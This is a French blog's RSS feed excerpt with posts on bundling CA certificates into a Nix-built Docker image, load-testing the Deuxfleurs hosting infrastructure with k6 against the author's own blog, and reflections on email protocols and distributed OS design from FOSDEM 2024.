&lt;p&gt;&lt;img src=&quot;/assets/images/posts/dive-2.png&quot; alt=&quot;Dive 2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On voit qu’on a quelques dépendances nix de tirées (à propos des fuseaux horaires par exemple) mais rien lié aux certificats.
On va donc injecter là aussi ces certificats dans le conteneur, et pour ce faire on réalise la modification suivante :&lt;/p&gt;

&lt;div class=&quot;language-diff highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gd&quot;&gt;--- flake.nix.old	2024-06-10 09:42:48.871184290 +0200
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+++ flake.nix	2024-06-10 09:41:48.011959988 +0200
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@@ -24,7 +24,10 @@&lt;/span&gt;
       # On construit une image Docker qui ne contient que l&apos;app qu&apos;on a build.
       container = pkgs.dockerTools.buildImage {
         name = &quot;superboum/tls-static-go&quot;;
&lt;span class=&quot;gd&quot;&gt;-        copyToRoot = tls-static;
&lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+        copyToRoot = pkgs.buildEnv {
+          name = &quot;tls-static-env&quot;;
+          paths = [ tls-static pkgs.cacert ];
+      	};
&lt;/span&gt;         config = {
           Cmd = [ &quot;/bin/tls-static&quot; ];
         };
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Autrement dit, on a créé notre système de fichiers racine en fusionnant le contenu de notre build &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;tls-static&lt;/code&gt; avec celui du paquet NixOS &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cacert&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;On peut ensuite rebuild / load / run le conteneur avec… succès !&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ nix build
$ docker load &amp;lt;result
Loaded image: superboum/tls-static-go:02bmar6x0q1gi8b6j5ys6j1l84mn5vwh
$ docker run --rm -it superboum/tls-static-go:02bmar6x0q1gi8b6j5ys6j1l84mn5vwh
2024/06/09 14:45:06 Success
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Quant à Dive, on voit bien que le bundle de certificat a été correctement injecté au bon endroit :&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/posts/dive-3.png&quot; alt=&quot;Dive 3&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Et voilà, vous avez une image Docker fonctionnelle, minimaliste, reproductible, avec des dépendances correctement déclarées, et maintenable.&lt;/p&gt;
</description>
        <pubDate>Sun, 09 Jun 2024 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2024-06-09/cacerts/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2024-06-09/cacerts/</guid>
      </item>
    
    
    
      <item>
        <title>Quelle est la capacité de Deuxfleurs ?</title>
        
        <description>&lt;p&gt;De part son côté atypique (de vieux PC de bureau reconvertis en serveurs derrière des connexions FTTH grands publics avec beaucoup de logiciels maisons - tricot, garage, etc.), les usager-es de Deuxfleurs ne savent pas trop quoi attendre en terme de performance. De mon point de vue d’opérateur, c’est dur également d’évaluer les capacités de Deuxfleurs, à part en disant qu’on a pensé notre solution pour mutualiser les usages, et donc que peu de machines puissent servir à beaucoup de monde.&lt;/p&gt;

&lt;p&gt;Commençons par quelques faits : au 27 avril 2024, Deuxfleurs a 8 serveurs (3 à Orsay, 2 à Lilles, 3 à Bruxelles).
Il n’y a que 2 serveurs / 8 qui reçoivent les requetes : en effet, notre configuration IPv4 ne permet pas d’avoir plus d’un répartiteur de charge HTTP par zone géographique, et notre zone géographique belge est encore en chantier. Chaque serveur est connecté en ethernet 1Gb/sec et on a 300Mbps+ entre Proximus et Free (en gros c’est une approximation de notre bande passante sur Internet, même si ça varie en fonction des destinations et du moment observé bien entendu…). Avec 2 répartiteurs de charge, on estime donc à 600Mb/s notre bande passante sur le réseau (2x 300Mb/s), bien entendu après il faut du logiciel qui puisse gérer ça.&lt;/p&gt;

&lt;p&gt;Chaque serveur est à peu prêt identique : un ordinateur de bureau milieu de gamme de 2013. Typiquement, en terme de processeur on a du &lt;a href=&quot;https://ark.intel.com/content/www/fr/fr/ark/products/77775/intel-pentium-processor-g3420-3m-cache-3-20-ghz.html&quot;&gt;Intel(R) Pentium(R) CPU G3420&lt;/a&gt; et entre 8Go et 16Go de RAM par serveur.
Au total, Nomad, un de nos outils de gestion, rapporte un total de 78Go de RAM et 16 CPU (répartis en 8 machines physiques donc).&lt;/p&gt;

&lt;p&gt;En terme de stockage, on a 4To de stockage à Lille, 1.5To à Bruxelles, 3To à Orsay. Ça fait seulement 1.5To utilisable par Garage, car on requiert une duplication sur 3 sites pour la robustesse, et Bruxelles n’a que 1.5To (c’est normal, c’est la “zone” en chantier aujourd’hui).&lt;/p&gt;

&lt;p&gt;Avec notre politique de 200Mo/site max, ça fait quand même déjà une capacité de 7 500 sites webs. On monte à 30 000 sites webs si on considère 50Mo (la taille réservée à la création du site, avant l’augmentation du quota). Si on passe à Bruxelles à 3To pour “rattraper” les autres sites, on double le nombre de sites web hébergeables. De plus, aujourd’hui on trouve des disques durs 2.5” à 4To, ce qui veut dire qu’on pourrait passer entre 8To et 15To par zone géographique sans changer radicalement notre infrastructure (même boitier, meme enveloppe de consommation electrique, etc.). Dans ce cas hypothétique, on dépasse les 100 000 sites webs hébergeables. Bien sûr à chaque fois, c’est en supposant qu’on héberge que des sites webs : mais on peut diviser par 2 les chiffres, et se dire qu’on alloue le reste aux autres services, et ça reste étourdissant !&lt;/p&gt;

&lt;p&gt;Se pose maintenant la question de la montée en charge, combien de requêtes/secondes on peut traiter. Aujourd’hui on a un ~10 req/sec continu (majoritairement du à Matrix et Sogo, des protocoles de chat &amp;amp; email respectivement au dessus de HTTP qui font du polling, c’est très en dessous côté hébergement web garage) qui n’ébranle pas franchement nos serveurs. On va donc faire du &lt;em&gt;scalability testing&lt;/em&gt; pour voir jusqu’où on peut monter. Il faut savoir que le pire cas pour nous, c’est quand un site web devient populaire d’un seul coup, et que tout le monde s’y connecte en même temps avec un cache froid, par exemple parce qu’un tweet devient viral ou des notifications push sur mobile envoyés par une application. On va donc prendre ce cas pour notre test.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Notez que pour les notifications mobiles, plutôt que de déployer d’avantages de serveurs pour gérer le pic de trafic, il est plus avisé d’échelonner leur envoi auprès des utilisateurs. C’est à dire envoyer un premier lot de notifications à 10% des utilisateurs, attendre 20 minutes, envoyer le 2nd lot, etc. Et oui, c’est aussi bête que ça parfois…&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Notre cobaye sera ce propre blog, et plus exactement sa page d’accueil et ses 8 ressources à charger. J’utilise l’outil &lt;a href=&quot;https://k6.io/&quot;&gt;k6&lt;/a&gt; pour ce test qui n’a pas vocation à être exhaustif, pour info voici le script de test :&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;k6/http&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;function &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://quentin.dufour.io&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://quentin.dufour.io/assets/css/style.css&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://quentin.dufour.io/assets/css/typo.css&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://quentin.dufour.io/assets/images/favicon.ico&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://quentin.dufour.io/assets/fonts/MerriweatherRegularLatin.woff2&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://quentin.dufour.io/assets/fonts/MerriweatherBoldLatin.woff2&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://quentin.dufour.io/assets/fonts/MerriweatherItalicLatin.woff2&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;https://quentin.dufour.io/assets/fonts/Symbola.ornements.woff2&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://quentin.dufour.io/k6/qdu-100vu.html&quot;&gt;→ Accéder au rapport complet ←&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Je n’ai volontairement pas poussé l’infrastructure au maximum, mais on tient sans problème 100 utilisateurs en instantané, ce qui fait ~800req/sec et 8Mo/sec de transfert de données. Sur 1 minute, ça fait 6 000 utilisateurs. Quand on était en page d’accueil sur Hacker News, on a vu que les visites s’étalaient en réalité plutot sur 1h ou 2h, meme si le trafic n’était pas réparti de manière homogene, mais plus sous la forme d’une gaussienne. Sans faire les calculs, je dirais qu’en cas de “coup de projecteur”, on peut tenir les ~10 000 utilisateurs sans trop de soucis. En informatique, on pense souvent en terme d’ordres de grandeurs. À mon avis, l’ordre de grandeur suivant, un burst de ~100 000 utilisateurs est imaginables sans remettre en question notre architecture mais avec des améliorations à différents endroits. Par contre l’ordre de grandeur suivant, 1 million, nous forcerait à repenser en profondeur notre système. Toute cette réflexion reste encadrée pour moi par deux articles très importants, &lt;a href=&quot;http://www.kegel.com/c10k.html&quot;&gt;C10K&lt;/a&gt; et &lt;a href=&quot;https://highscalability.com/the-secret-to-10-million-concurrent-connections-the-kernel-i/&quot;&gt;C10M&lt;/a&gt;. Le premier date de 2003, et constate que les serveurs industriels ont la capacité de supporter 10 000 connexions simultanés, et réfléchit à comment concevoir du logiciel qui permette d’exploiter ces capacités. On pourrait dire que C10M, c’est le même constat entre 10 et 20 ans plus tard, mais que cette fois-ci on est passé à 10 millions de connexions, là encore en remettant encore à plat le logiciel qu’on conçoit. Alors bien sûr, ici on parle de connexions qui ne font pas grand chose, mais quand même, c’est pertinent de savoir où on se situe, surtout en 2024 où on écrit encore des logiciels qui ont du mal à gérer 4 ou 5 connexions simultanées…&lt;/p&gt;

&lt;p&gt;Jusqu’ici je parle de trafic soudain, mais pour de nombreux sites, c’est un flux continu. Dans ce cas, les visites sont beaucoup plus espacées dans le temps. Mettons un site web qui s’adresse aux particuliers, d’expérience il verra une large partie de ses visites se faire entre 7h et 9h le matin, lors de la pause méridienne, disons entre 12h et 14h puis surtout le soir, de 18h à 22h, soit au total quand même 8 heures. À 6 000 utilisateurs par minutes parfaitement répartis, ça nous fait 2.9 millions de visiteurs par jours (on suppose que consulter les pages suivantes est négligeable passé la première requête). Bien sûr, mon modèle est très naïf là, et trop imprécis pour affirmer quelque chose de définitif. Mais disons que, dès lors que le trafic se lisse sur la journée, on a pas trop de mal à gérer 1 million d’utilisateurs par jour. Bon, il ne faut pas perdre de vu que ce budget de 1 million par jour, il est à partager entre tout le monde ! Mais là encore, on a les statistiques de notre côté : des abonnements Twitch aux marchandises sur Amazon en passant par la taille des instances Mastodon, on va avoir une &lt;a href=&quot;https://fr.wikipedia.org/wiki/Longue_tra%C3%AEne&quot;&gt;longue traîne&lt;/a&gt; : un ou quelques sites webs avec beaucoup de visites, et très rapidement toute une myriade de petits sites avec très peu de visites par jour, qui se fondent dans l’épaisseur du trait. On peut donc dimensionner pour quelques gros sites et le reste suivra.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Jusqu’ici je n’ai pas évoqué le cas d’utilisateurs malveillants, qui auraient pour objectif de réaliser une attaque par déni de service. Il existe différents types d’attaque par déni de service, certaines sont du “brute force” : un concours de celui qui aura le plus de ressources. De par l’approche de Deuxfleurs, c’est évidemment un concours que l’association n’a pas vocation à mener, et donc les attaques par déni de service sont un risque à prendre en compte. À noter que parfois, dans certaines limites, les fournisseurs d’accès internet peuvent agir pour bloquer le trafic malveillant seulement - ou tout le trafic - pendant l’attaque.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Mon test n’est pas du tout exhaustif ou représentatif de tout le web statique - mais c’est le mieux qu’on ait et on devra s’en contenter pour le moment. Par exemple, un site qui serait beaucou plus lourd (image, audio) pourrait avoir un comportement différent (on atteindrait peut-être une limite de bande passante - à tester), et c’est juste un exemple parmis des milliers de situations possibles (HTTP 2 vs HTTP 1.1 ? Versions &amp;amp; Cipher de TLS ? etc.).&lt;/p&gt;

&lt;p&gt;À noter aussi qu’on n’a pas passé beaucoup de temps à penser l’optimisation des ressources de Deuxfleurs, on pourrait probablement avoir des gains avec de petites modifications. Par exemple en utilisant les spécificités d’IPv6 qui permettent de mettre plusieurs load balancers par zones géographique, ou en favorisant le chiffrement ChaCha20-Poly1305 qui est plus rapide que AES sur les CPU qui n’ont pas d’accélération matérielle comme certains de nos serveurs. Côté matériel, on pourrait s’assurer qu’on a du lien gigabit partout (et donc faire la chasse au 100Mb qui trainerait). En réalité je n’ai pas vraiment réfléchi plus que ça au sujet, je suis sûr qu’en se creusant les méninges, on trouverait des choses.&lt;/p&gt;

&lt;p&gt;Et pour terminer, une conclusion provocante : avec 10 req/sec, rarement plus de 5Mb/s de trafic sortant, et 250 sites webs hébergés, c’est respectivement 1% du budget requête, 2% de la bande passante, et 3% du budget stockage qui est actuellement utilisé sur Deuxfleurs.&lt;/p&gt;

</description>
        <pubDate>Sat, 27 Apr 2024 00:00:00 +0200</pubDate>
        <link>https://quentin.dufour.io/blog/2024-04-27/capa-web-deuxfleurs/</link>
        <guid isPermaLink="true">https://quentin.dufour.io/blog/2024-04-27/capa-web-deuxfleurs/</guid>
      </item>
    
    
    
      <item>
        <title>Réflexions suite au FOSDEM 2024</title>
        
        <description>&lt;p&gt;Le 3 et 4 février 2024 j’étais à Bruxelles pour le FOSDEM, une conférence
pour les développeur-euses de logiciel libre. Ouverte à tout le monde,
la conférence est monstrueuse : plus de 800 présentations, sur plus de 80 &lt;em&gt;tracks&lt;/em&gt;,
avec plusieurs dizaines de milliers de participant-es.&lt;/p&gt;

&lt;p&gt;Cette année je présentais &lt;a href=&quot;https://aerogramme.deuxfleurs.fr/&quot;&gt;Aerogramme&lt;/a&gt;, un serveur IMAP développé au sein de Deuxfleurs.
La présentation était axée sur les fonctionnalités de robustesse aux pannes dudit logiciel.
Vous pouvez retrouver toutes les informations sur cette présentation sur la page dédiée de la conférence,
dont une captation vidéo : &lt;a href=&quot;https://fosdem.org/2024/schedule/event/fosdem-2024-2642--servers-aerogramme-a-multi-region-imap-server/&quot;&gt;[Servers] Aerogramme, a multi-region IMAP server&lt;/a&gt;. Plutôt que de vous présenter ce que j’ai vu, je vais plutôt me focaliser sur les réflexions que ça a généré.&lt;/p&gt;

&lt;p&gt;Je commence par les emails, mais le gros du billet est autour de la conception de système d’exploitation distribués.&lt;/p&gt;

&lt;h2 id=&quot;emails&quot;&gt;Emails&lt;/h2&gt;

&lt;p&gt;Ça faisait 10 ans qu’il n’y avait pas eu de track email au FOSDEM. D’où le nom “modern email” cette année, comme pour lancer un nouvel élan.
C’était une expérimentation qui a été très fructueuse : les développeur-euses ont répondu présent.&lt;/p&gt;

&lt;p&gt;La journée a commencé par la dimension “protocole” des emails : pourquoi il faut abandonner STARTTLS, les subtilités d’IMAP, et l’intégration d’Unicode dans les emails. Globalement, c’est très convaincant qu’il ne faut &lt;em&gt;vraiment&lt;/em&gt; pas utiliser STARTTLS, et encore moins l’implémenter, c’est un nid à problème. Rien de nouveau lors de la présentation sur IMAP, deux points qui m’ont bien plu : on peut pas lexer IMAP, &lt;em&gt;knowledge is disappearing&lt;/em&gt; et la subtilité des literals dans IMAP.&lt;/p&gt;

&lt;p&gt;C’est emersion (Simon) qui a d’abord essayé d’écrire un lexer+parser pour IMAP, et ça ne marche pas. Les lexer+parser, c’est vraiment la façon élégante, qu’on t’apprend quand tu fais de la théorie des langages, mais ça oblige de concevoir ton langage avec des contraintes, pour pas qu’il soit ambigu. IMAP a été conçu de façon très organique, et ne répond pas à ces critères. Du coup c’est moins élégant, moins efficace, mais on utilise un parser combinator. D’ailleurs j’en étais venu à la même conclusion pour les emails (c’est à dire IMF/MIME).&lt;/p&gt;

&lt;p&gt;En effet les savoirs disparaissent. On a pu voir ça sur Cobol, on a le cas pour les emails. Ça vient heurter des croyances, du progrès linéaire sur tous les aspects,
y compris sur les savoirs. Cette critique n’est pas nouvelle, mais elle est toujours bonne à rappeler : les connaissances, le savoir, ça s’entretient.&lt;/p&gt;

&lt;p&gt;Ensuite, dans IMAP, il y a cette idée qu’il y a besoin de coordination entre client et serveur. C’est à dire qu’en tant que client, j’ai besoin de surveiller ce que le serveur m’envoie, pour savoir dans quel état je suis. Et donc un des exemples, c’est la gestion des literals.&lt;/p&gt;

&lt;p&gt;Et puis sur la question d’unicode, le speaker était fier de dire que c’était la première RFC qui simplifiait les protocoles plutôt que de les complexifier.
En effet, plein de trucs qui étaient compliqués car demandait des encodings spéciaux, disparaissent dès lors que tu supportes UTF-8 : tu annonces ton support,
et tu envoies de l’UTF-8 brut. Le présentateur revenait souvent sur cette importance de la simplification : plutôt que d’essayer de gérer les erreurs silencieusement, de réécrire les messages, etc. il a été choisi de simplement refuser l’envoi si un email UTF-8 tentait d’être délivré à un serveur qui ne le supporte pas, en vu de simplifier le debug, et avec l’idée que c’est toujours plus simple d’implémenter ce support que de coder des workarounds.&lt;/p&gt;

&lt;p&gt;S’en est suivi un ensemble de présentation sur JMAP, d’abord par Fastmail, qui sont ceux qui l’ont proposé et le poussent. Ils expliquent à quel point le protocol est formidable comparé à IMAP. Mais aujourd’hui, il n’y a aucun client de référence pour pousser l’adoption de JMAP. Fastmail a bien un très bon client, mais ne veulent pas le rendre open source / libre. Soit disant JMAP est simple, mais en réalité en terme de fonctionnalités, il correspond à un IMAP avec un très grand nombre d’extensions : je ne pense donc pas tenter d’implémentation avant d’avoir toutes les extensions dans IMAP. Et une fois ces extensions dans IMAP, la différence en terme d’expérience n’est probablement pas si grande. Pire, ils se comparent toujours à IMAP, mais leur vrai concurrent c’est EAS (Exchange Active Sync), le protocole de Microsoft, présent dans tous les iPhone et Android depuis le début. Lui aussi est basé sur HTTPS, lui aussi supporte d’un seul tenant réception + envoi d’email, calendrier + contact. Sauf que lui possède plein d’excellents clients et des intégrations natives partout.&lt;/p&gt;

&lt;p&gt;Il y a cependant quelques travaux sur JMAP. D’abord le client Android ltt.rs qui semble faire référence, des gens aussi qui développent des bibliothèques pour porter d’anciens protocoles vers JMAP, et puis Apache James semble supporter JMAP également. D’ailleurs Apache James, pur produit de l’écosystème Java, semble être un acteur assez sérieux dans le monde de l’email, je ne serais pas surpris qu’on en entende d’avantage parler dans les années à venir. Linagora semble avoir des déploiements importants, particulièrement dans le système de santé français. Impressionant. Pour revenir à JMAP, je pense donc définitivement qu’il va falloir à un moment qu’il se positionne face à Exchange Active Sync, d’ailleurs il y avait une présentation de &lt;a href=&quot;https://grommunio.com/&quot;&gt;Grommunio&lt;/a&gt; sur une intégration complète d’Exchange dans leur groupware C++ / PHP, qui démontrait bien encore la pertinence de EAS. Si JMAP a bien un argument en sa faveur, c’est l’absence de brevets logiciels, brevets qui plannent au dessus de Exchange, mais &lt;a href=&quot;https://www.lemonde.fr/planete/article/2005/02/17/michel-rocard-ferraille-contre-le-brevet-logiciel_398497_3244.html&quot;&gt;brevets logiciels qui ne semblent pas avoir droit de cité en France&lt;/a&gt;, d’où &lt;a href=&quot;https://www.videolan.org/&quot;&gt;VLC&lt;/a&gt; d’ailleurs…&lt;/p&gt;

&lt;p&gt;Je n’ai pas assisté à toutes les présentations de la room email, je pense potentiellement les rattraper en VOD plus tard. 
Pas de révélations sensationnelles, content de voir que les emails intéressent des gens, je pense toujours que EAS est plus pertinent que JMAP, et qu’une bonne implémentation d’IMAP c’est un bon point de départ…&lt;/p&gt;

&lt;h2 id=&quot;système&quot;&gt;Système&lt;/h2&gt;

&lt;p&gt;La session sur les microkernel+unikernel commençait par un &lt;em&gt;positioning talk&lt;/em&gt; d’&lt;a href=&quot;https://adnab.me/&quot;&gt;Alex&lt;/a&gt;.
Alex s’intéresse à l’infrastructure logiciel de &lt;a href=&quot;https://deuxfleurs.fr/&quot;&gt;Deuxfleurs&lt;/a&gt;, et ce talk avait entre autre
pour objectif de collecter des retours, des idées, et stimuler les discussions pour dépasser des problèmes qu’on rencontre. Nous y voilà donc…&lt;/p&gt;

&lt;p&gt;Le corps de sa proposition, selon moi, c’est qu’il note une inadéquation entre, d’une part,
le modèle mental qu’on se fait des différents composants de notre infrastructure, 
et d’autre part, les interfaces qui sont à nos dispositions qui ne sont pas adaptées.&lt;/p&gt;

&lt;p&gt;L’enjeu est donc de définir les concepts mobilisés par notre modèle mental, et les problèmes que nous posent les interfaces actuelles.&lt;/p&gt;

&lt;p&gt;Alex note que notre modèle ressemble beaucoup au design des microkernels : des processus indépendants qui communiquent entre eux via des &lt;em&gt;IPC&lt;/em&gt; (InterProcessus Communication).&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Selon moi, on peut très bien envisager aussi notre modèle comme le modèle d’acteur d’Erlang aussi. Et aussi l’écosystème microservice actuel. En fait, chaque approche va focaliser sur un aspect différent du problème. L’approche microkernel ne s’est pas intéressée au réseau, mais elle a beaucoup travaillé la question des permissions et de la sécurité à travers ce système de processus échangeant par messages. Je pense par exemple à &lt;a href=&quot;https://en.wikipedia.org/wiki/Object-capability_model&quot;&gt;l’object-capability model&lt;/a&gt; de &lt;a href=&quot;https://sel4.systems/&quot;&gt;sel4&lt;/a&gt;. Elle a essaimé aussi dans des OS traditionnels, je pense par exemple à &lt;a href=&quot;https://www.cl.cam.ac.uk/research/security/capsicum/papers/2010usenix-login-capsicum.pdf&quot;&gt;Capsicum&lt;/a&gt; dans FreeBSD. L’approche d’Erlang s’intéresse quant à elle au réseau et à la robustesse : elle est nativement distribuée et les processus sont sans état. Quant à la robustesse, Erlang a toute une réflexion sur “laisser les processus crasher plutôt que de récupérer les erreurs”, avec un système de surveillance et redémarrage, dont les vertus sont expliqués dans &lt;a href=&quot;https://ferd.ca/the-zen-of-erlang.html&quot;&gt;The Zen of Erlang&lt;/a&gt;. Enfin l’écosystème microservice s’est intéressée au chemin de migration, comment graduellement aller vers ce modèle processus/messages, comment l’intégrer à des workflow de développement.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Sur la question des problèmes des interfaces actuelles, Alex note qu’il y a conflit pour accéder à des ressources partagées.
Par exemple, le système, le daemon docker, et d’autres daemons se “battent” pour accéder à netfilter. Bien sûr, ils ont chacun leur table,
mais un rechargement complet de ce dernier peut arriver, et c’est là qu’on voit que la gestion réseau n’a pas été pensée pour plusieurs processus.
De la même manière, on a ce problème pour le système de fichier : par défaut, et malgré les permissions, c’est un seul espace de nom qui est partagé avec tout le monde.
Et puis enfin, les interfaces sont conçues pour la façon de faire de l’ordinateur des années 1980 : un seul ordinateur, avec un seul processeur, des bandes magnétiques pour le stockage, etc. Tout ça n’est, d’une part, pas forcément la meilleure façon d’utiliser le matériel actuellement, et d’autre part, empêche de considérer certains usages à travers le réseau. Typiquement, la norme POSIX, d’ailleurs sur certains aspects très dure à implémenter et à utiliser correctement, a tendance a sédimenter l’écosystème.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;De cette inadéquation “modèle mental” et “interfaces disponibles”, j’en tire deux problèmes : 1) un mauvais usage des ressources à disposition surtout dans le cas d’un cluster, et 2) des problèmes de correctness, c’est à dire que c’est très difficile de raisonner correctement sur un système, et donc de ne pas avoir de bugs.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Alex propose donc une architecture qui soit composée d’un orchestrateur microkernel qui schedulerait seulement des machines virtuelles, d’abord des machines Linux embarquant un seul processus pour la rétro-compatibilité avec un schéma Docker, et pour le futur, des machines virtuelles unikernel, où le logiciel étant mélangé au système d’exploitation, seul les fonctionnalités du système d’exploitation utilisée par le logiciel sont embarquées. Chaque processus (linux VM ou unikernel) communiqueraient ensemble alors via des API bas niveaux comme de l’IP ou le protocole VirtIO du noyau Linux. Je pense qu’une idée très forte qu’on trouve dans la présentation de Alex, c’est l’isolation des ressources : c’est la critique qu’il fait aux conteneur Linux, de mal isoler. Et je pense que le choix d’un hyperviseur avec des machines virtuelles est motivée dans cette optique d’isolation des ressources.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;La question de l’isolation des ressources est également abordée par Lennart Poettering dans son billet &lt;a href=&quot;https://0pointer.net/blog/projects/resources.html&quot;&gt;systemd for Administrators, Part XVIII&lt;/a&gt; :&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;An important facet of modern computing is resource management: if you run more than one program on a single machine you want to assign the available resources to them enforcing particular policies. This is particularly crucial […] for large installations such as cloud setups, where resources are plenty, but the number of programs/services/containers on a single node is drastically higher.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;p&gt;Traditionally, on Linux only one policy was really available: all processes got about the same CPU time, or IO bandwith, modulated a bit via the process nice value. This approach is very simple and covered the various uses for Linux quite well for a long time. However, it has drawbacks: not all all processes deserve to be even, and services involving lots of processes (think: Apache with a lot of CGI workers) this way would get more resources than services whith very few (think: syslog).&lt;/p&gt;
&lt;/blockquote&gt;

